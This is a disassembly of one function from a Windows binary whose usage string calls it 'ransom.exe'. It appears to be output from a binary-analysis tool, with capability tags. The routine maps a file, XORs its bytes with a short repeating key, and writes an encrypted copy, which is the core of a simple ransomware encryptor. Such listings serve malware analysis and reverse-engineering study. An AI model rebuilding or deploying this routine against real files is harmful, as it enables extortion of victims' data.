Function at 0x14001128a
Capabilities:
Get file size
Read file via mapping
Write file on windows

Disassembly:
jmp 0x1400133b0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x46
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x238]
mov rax, qword [0x14001f040]
xor rax, rbp
mov qword [rbp + 0x1c0], rax
lea rcx, [0x140025168]
call fcn.1400113a2
cmp dword [rbp + 0x1f0], 3
je 0x14001341b
lea rcx, str.Usage:_ransom.exe__file_to_encrypt_path___encrypted_file_output_path__n
call fcn.1400111a9
mov eax, 0xffffffff
jmp 0x140013626
mov eax, 8
imul rax, rax, 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x1f8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001346e
mov eax, 0xffffffff
jmp 0x140013626
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1400134b7
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 6
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x1400134ea
mov eax, 0xffffffff
jmp 0x140013626
mov dword [rbp + 0x84], 0
jmp 0x140013504
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x84]
cmp rax, qword [rbp + 0x28]
jge 0x14001355f
mov eax, dword [rbp + 0x84]
mov qword [rbp + 0x1b8], rax
mov ecx, dword [rbp + 0x84]
xor edx, edx
mov eax, ecx
mov ecx, 7
div rcx
mov rax, rdx
lea rcx, [0x14001f020]
movzx eax, byte [rcx + rax]
mov rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x1b8]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rbp + 0x84]
mov rdx, qword [rbp + 0x68]
mov byte [rdx + rcx], al
jmp 0x1400134f6
lea r9, [rbp + 0xc8]
lea r8, [rbp + 0xa8]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
call fcn.140011415
test eax, eax
jne 0x140013588
mov eax, 0xffffffff
jmp 0x140013626
mov eax, 8
imul rax, rax, 2
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x1f8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400135d8
mov eax, 0xffffffff
jmp 0x140013626
mov dword [rbp + 0xe4], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xe4]
mov r8d, dword [rbp + 0xc8]
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001361d
mov eax, dword [rbp + 0xe4]
cmp qword [rbp + 0xc8], rax
je 0x140013624
mov eax, 0xffffffff
jmp 0x140013626
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001c130]
call fcn.140011334
mov rax, rdi
mov rcx, qword [rbp + 0x1c0]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x1d8]
pop rdi
pop rbp
ret